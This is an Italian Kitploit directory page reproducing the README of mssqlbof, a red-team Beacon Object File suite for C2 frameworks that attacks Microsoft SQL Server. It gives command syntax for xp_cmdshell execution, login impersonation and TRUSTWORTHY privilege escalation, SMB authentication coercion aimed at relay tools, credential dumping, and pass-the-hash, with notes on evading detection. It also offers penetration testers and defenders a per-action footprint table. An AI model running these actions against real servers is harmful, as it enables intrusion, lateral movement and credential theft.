Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mssqlbof — Una suite di Beacon Object File per Microsoft SQL Server che parla TDS 7.4 direttamente sul filo | Kitploit
Strumenti/GitHubGitHub/mazx0p/mssqlbof
Escalation di PrivilegiAttacchi alle PasswordExploitMovimento LateralePost-ExploitPenetration TestingCommand and ControlAutenticazioneRed TeamingSviluppo PayloadSicurezza dei Database
101855 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
mazx0p/mssqlbof

mssqlbof

Una suite di Beacon Object File per Microsoft SQL Server che parla TDS 7.4 direttamente sul filo

Vedi Repository

mssqlbof

Una suite di Beacon Object File per Microsoft SQL Server che parla TDS 7.4 direttamente sul filo, in C. Nessun msodbcsql.dll, nessun sqloledb.dll, nessun .NET CLR, nessun PowerShell. Un COFF per architettura, si carica in ogni beacon che rispetta l'API Beacon canonica.

image

Perché

SQL Server si presenta in quasi ogni incarico. I due strumenti a cui le persone ricorrono sono SQLRecon / PowerUpSQL (CLR + PowerShell) e qualsiasi cosa che avvolga sqlcmd.exe. Entrambi lasciano mscoree.dll, eventi AMSI di PowerShell o una copia completa del driver ODBC Microsoft nella memoria del beacon. Niente di tutto ciò è necessario: TDS è solo byte incapsulati su TCP con un handshake Schannel davanti, e ogni beacon in grado di eseguire BOF ha già ws2_32, secur32, schannel e bcrypt caricati.

Quindi mssqlbof implementa TDS manualmente, in C, e si aggancia direttamente a qualsiasi primitiva SSPI o BCrypt di cui l'operatore ha bisogno per il target. Il beacon carica un oggetto di circa 48 KB, esegue SQL, lo scarica. Nient'altro entra nel processo.

Compatibilità

Un file oggetto per architettura. mssql.x64.o è lo stesso binario su ogni framework — utilizziamo solo l'API Beacon canonica (BeaconPrintf, BeaconDataExtract, ecc.) e il pattern <LIB>$<fn> di importazione dinamica che i loader COFF risolvono a runtime.

Avvio rapido

root@kitploit:~
apt install gcc-mingw-w64 libssl-dev
make

Produce build/mssql.x64.o e build/mssql.x86.o. Carica sul team server, esegui con il runner BOF del tuo C2.

Azioni

Tutto passa attraverso un file oggetto con --action <verb>:

root@kitploit:~
--action find                                   Enumerazione LDAP degli SPN MSSQLSvc nella foresta corrente
--action info     --host <sql>                  server/versione/utente corrente/sysadmin/db
--action query    --host <sql> --sql "..."      T-SQL arbitrario, multi-riga, multi-resultset
--action links    --host <sql>                  enumerazione dei server collegati (singolo hop)
--action exec     --host <sql> --cmd "..."      xp_cmdshell con abilitazione automatica + ripristino
--action impersonate --host <sql> --discover    elenca i login che puoi impersonare con EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
                                                esegui T-SQL come X tramite EXECUTE AS LOGIN
--action privesc  --host <sql>                  enumerazione della superficie di privesc in sei sezioni
--action coerce   --host <sql> --to "\\listener\x"
                                                xp_dirtree coerzione autenticazione SMB
--action passwords --host <sql>                 dump di sys.linked_logins + sys.credentials
--action chain    --host <sql> --via LINK --sql "..."
                                                EXEC (...) AT [LinkedServer]

--action find viene eseguito senza host — parla con il DC dell'operatore tramite LDAP.

Autenticazione

Quattro modalità. Ogni modalità è verificata end-to-end contro SQL Server 2019 sia in COFFLoader che in Adaptix C2 su un dominio reale.

root@kitploit:~
--auth sspi                                     (predefinito) token del thread beacon corrente
                                                Kerberos se SPN esiste, altrimenti NTLM.
                                                Rispetta make_token / steal_token.

--auth ntlm --domain D --user U --pass P        NTLM plaintext esplicito.
                                                Guida il pacchetto NTLM di SSPI, multi-leg.

--auth ntlm --domain D --user U --hash <NT>     pass-the-hash.
                                                NTLMv2 fatto a mano (vedi sotto).
                                                Nessun SSPI, nessun lsass, nessun make_token.

--auth sql  --user U --pass P                   Autenticazione SQL.

--hash accetta un hash NT esadecimale di 32 caratteri o la forma LM:NT che secretsdump emette.

Perché la modalità hash non è semplicemente SSPI + SEC_WINNT_AUTH_IDENTITY

AcquireCredentialsHandleW(NULL, "NTLM", ...) accetta solo password in testo semplice nella struttura delle credenziali. Il provider NTLM deriva l'hash NT internamente. Fornirgli un hash richiede di patchare lsass (cosa che fa Mimikatz sekurlsa::pth) o eseguire il beacon sotto un processo sacrificale che era già pre-autenticato.

L'alternativa — quella che abbiamo adottato — è di saltare completamente SSPI per PTH e generare i messaggi NTLMSSP da soli. src/tds/ntlm_pth.c costruisce un Type 1 NEGOTIATE, analizza il Type 2 CHALLENGE del server dal token TDS 0xED, esegue i calcoli NTLMv2 con il provider HMAC-MD5 di bcrypt.dll, e scrive un Type 3 AUTHENTICATE che SQL Server passa volentieri al DC.

Il primo tentativo è fallito con error 18452: login is from an untrusted domain. Catturando l'autenticazione funzionante di Impacket sul filo accanto alla nostra abbiamo ristretto rapidamente il problema: stavamo inviando 24 zeri per la risposta LMv2 e l'intera zuppa di flag di Windows negotiate 0xe288... Abbinare il calcolo LMv2 di Impacket e il suo set di flag più piccolo 0xa2880205 (nessun KEY_EXCH, nessun SIGN, nessun ALWAYS_SIGN) ha fatto sì che il server accettasse l'hash. Write-up in BLOG.

Privesc per --action exec

root@kitploit:~
--impersonate auto          (predefinito) prova EXECUTE AS LOGIN, poi salto TRUSTWORTHY
--impersonate login         EXECUTE AS LOGIN tramite un grant IMPERSONATE
--impersonate trustworthy   salto attraverso dbo di un database TRUSTWORTHY di proprietà di sysadmin
--impersonate none          fallisci se non sei sysadmin

privesc enumera la superficie prima di scegliere un metodo: appartenenza a sysadmin, grant IMPERSONATE (con lo stato sysadmin del login target), database TRUSTWORTHY di proprietà di un sysadmin (con il tuo accesso), server collegati, permessi a livello di server e stato di xp_cmdshell.

Build

root@kitploit:~
apt install gcc-mingw-w64 libssl-dev
make                    # cross-compila BOF per x64 + x86
make tds                # libreria condivisa Linux del core TDS (per fuzzing / test)

La libreria condivisa Linux condivide ogni file sorgente TDS con la build Windows; solo tls_schannel.c / sspi.c / ntlm_pth.c vengono sostituiti con i loro equivalenti OpenSSL / stub.

Niente chiama libc o Win32 direttamente. Ogni simbolo esterno passa attraverso la convenzione di importazione dinamica <LIB>$<fn> in src/common/dynimports.h. Verifica con:

root@kitploit:~
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND

Dovrebbero apparire solo MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, e __imp_Beacon*. Nessun msodbcsql.dll. Nessun sqloledb.dll. Nessun mscoree.dll.

OPSEC

Tutto TLS è Schannel reale (non uno stub) con la gestione della stranezza PRELOGIN-wrap di SQL Server: l'handshake viene eseguito all'interno dei pacchetti TDS PRELOGIN tipo 0x12, quindi LOGIN7 esce come dati applicativi TLS grezzi, e il server risponde a quel primo pacchetto di login in testo semplice. Le continuazioni multi-leg SSPI vanno anche in testo semplice — se le crittografi con TLS, SRV02 chiude semplicemente la connessione.

Documentazione

Stato

v0.1.2 — multi-autenticazione, PTH, 11 azioni, verificato in laboratorio.

  • Quattro modalità di autenticazione funzionanti: sspi, ntlm-plaintext, ntlm-hash (PTH), sql
  • BOF di dispatch unificato (mssql.x64.o) con 11 azioni
  • Quattro metodi di privesc per exec: login, trustworthy, auto, none
  • Continuazione multi-leg SSPI con gestione TDS EOM
  • Pass-the-hash via NTLMv2 fatto a mano + BCrypt
  • Verifica end-to-end completa: sweep COFF di 38 casi + sweep Adaptix C2 su un SQL Server 2019 unito al dominio

Casi limite noti:

  • Solo walker di server collegati a singolo hop; la catena ricorsiva nidificata OPENQUERY è v0.2.
  • Il primo SQLBatch dopo un login SSPI multi-leg perde dati. Una SELECT di preambolo in do_connect li drena — l'effetto collaterale è la riga [*] connected as ... che ogni azione registra. La causa principale è nel percorso di lettura post-LOGINACK e riceverà una correzione adeguata in v0.2.

Crediti

  • Cobalt-Strike/bof_template per la superficie API Beacon canonica a cui questo progetto si attiene esattamente.
  • TrustedSec/COFFLoader per un loader indipendente da testare.
  • ntlm.py e mssqlclient.py di impacket — il riferimento con cui abbiamo fatto diff quando abbiamo inseguito la zuppa di flag NTLMv2.
  • [MS-TDS] e [MS-NLMP] — le specifiche che tutto questo hand-rolling segue.
  • Opus 4.6 — Parti della documentazione sono state redatte con l'aiuto di Opus 4.6. Tutto il codice è scritto a mano da ME e verificato end-to-end in laboratorio.

Licenza

MIT.

Scarica lo strumento
C2x64x86
Cobalt Strikesìsì
Havocsìsì
Sliversìsì
BruteRatelsìsì
Nighthawksìsì
Outflank Stage1sìsì
AdaptixC2sìsì
Metasploit execute_bofsìsì
PoshC2sìsì
AzioneDLL extra oltre la baseline del beaconTraccia lato serverNote
findwldap32Evento DC 1644 (raro)Solo LDAP, nessun SQL toccato
info / query / links / privesc / passwordssecur32 or bcrypt, schannel, ws2_32Audit SQL 33205 se abilitatoTDS puro, nessuna impronta ODBC
execstessoxp_cmdshell + sp_configure nella traccia predefinitaRumoroso. Usa --impersonate da un login con privilegi bassi per evitare di atterrare come NT SERVICE
impersonatestessoEXECUTE AS audit 33205 + 33206
coercestessoxp_dirtree tentativo registratoPuntalo su responder / ntlmrelayx
chainstessoEXEC AT registrato sul server collegato targetPrimitiva di pivot
DocCosa contiene
docs/PROTOCOL.mdImmersione profonda in TDS 7.4: framing dei pacchetti, flusso di opzioni PRELOGIN, offuscamento della password LOGIN7, ALL_HEADERS su SQLBatch, grammatica del flusso di token (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED continuazione SSPI), la stranezza dell'handshake TLS, la pompa NTLM multi-leg.
docs/OPERATOR.mdGuida di laboratorio end-to-end: build, configura un listener Adaptix, rilascia un beacon su un host Windows, esegui ogni azione con ogni modalità di autenticazione (incluso PTH), e note sulla portabilità cross-C2.
docs/OPSEC.mdImpronta per azione sul filo e in memoria. Cosa ogni azione carica nel beacon, cosa lascia nell'audit SQL, e cosa un difensore può vedere.
docs/COMPATIBILITY.mdMatrice dei framework C2, matrice delle versioni di SQL Server e quali modalità di autenticazione sono verificate per quali target.
BLOGLa narrazione del debug: come l'implementazione di pass-the-hash è effettivamente nata, con catture di rete, la falsa pista degli zeri LMv2 e il diff tshark contro Impacket che ha risolto il mistero.